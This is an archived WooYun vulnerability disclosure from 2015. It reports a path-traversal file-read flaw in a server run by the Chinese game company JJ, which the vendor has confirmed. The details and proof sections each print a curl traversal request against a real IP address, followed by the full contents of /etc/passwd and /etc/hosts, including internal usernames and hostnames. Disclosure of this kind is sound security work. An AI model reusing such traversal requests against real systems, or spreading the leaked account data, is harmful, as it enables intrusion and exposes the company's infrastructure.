当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092081

漏洞标题:JJ某服务配置不当导致任意系统文件读取

相关厂商:竞技世界(北京)网络技术有限公司

漏洞作者: boooooom

提交时间:2015-01-15 18:20

修复时间:2015-03-01 18:22

公开时间:2015-03-01 18:22

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

RT

详细说明:

[root@localhost ~]# curl http://117.79.150.240/../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
mysql:x:500:500::/home/mysql:/sbin/nologin
www:x:501:501::/home/www:/sbin/nologin
zabbix:x:496:492:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin
#liaowb:x:502:502::/home/liaowb:/bin/bash
#zhangsy:x:503:503::/home/zhangsy:/bin/bash
#zhutao:x:504:504::/home/zhutao:/bin/bash
mongod:x:495:491:mongod:/var/lib/mongo:/bin/false
apache:x:48:48:Apache:/var/www:/sbin/nologin
#ganglia:x:494:490:Ganglia Monitoring System:/var/lib/ganglia:/sbin/nologin
#zabbixsrv:x:493:489:Zabbix Monitoring System -- Proxy or server:/var/lib/zabbixsrv:/sbin/nologin
nginx:x:492:488:Nginx web server:/var/lib/nginx:/sbin/nologin
#jiayq:x:505:505::/home/jiayq:/bin/bash
chenglu:x:506:506::/home/chenglu:/bin/bash
yagnjm:x:507:507::/home/yagnjm:/bin/bash
yangjm:x:508:508::/home/yangjm:/bin/bash
[root@localhost ~]# curl http://117.79.150.240/../../../../../../../../../../../../../etc/hosts
127.0.0.1 localhost
117.79.150.240 server-240
127.0.0.1 app240.jj.cn zabbix.app240.jj.cn
#::1 localhost6.localdomain6 localhost6

漏洞证明:

[root@localhost ~]# curl http://117.79.150.240/../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
mysql:x:500:500::/home/mysql:/sbin/nologin
www:x:501:501::/home/www:/sbin/nologin
zabbix:x:496:492:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin
#liaowb:x:502:502::/home/liaowb:/bin/bash
#zhangsy:x:503:503::/home/zhangsy:/bin/bash
#zhutao:x:504:504::/home/zhutao:/bin/bash
mongod:x:495:491:mongod:/var/lib/mongo:/bin/false
apache:x:48:48:Apache:/var/www:/sbin/nologin
#ganglia:x:494:490:Ganglia Monitoring System:/var/lib/ganglia:/sbin/nologin
#zabbixsrv:x:493:489:Zabbix Monitoring System -- Proxy or server:/var/lib/zabbixsrv:/sbin/nologin
nginx:x:492:488:Nginx web server:/var/lib/nginx:/sbin/nologin
#jiayq:x:505:505::/home/jiayq:/bin/bash
chenglu:x:506:506::/home/chenglu:/bin/bash
yagnjm:x:507:507::/home/yagnjm:/bin/bash
yangjm:x:508:508::/home/yangjm:/bin/bash
[root@localhost ~]# curl http://117.79.150.240/../../../../../../../../../../../../../etc/hosts
127.0.0.1 localhost
117.79.150.240 server-240
127.0.0.1 app240.jj.cn zabbix.app240.jj.cn
#::1 localhost6.localdomain6 localhost6

修复方案:

修改配置

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-15 19:04

厂商回复:

已通知相关技术人员处理了,感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-01 21:27 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    尼玛,怀疑洞主有神器。。

  2. 2015-03-01 21:48 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    封顶的rank,怀疑洞主有神器。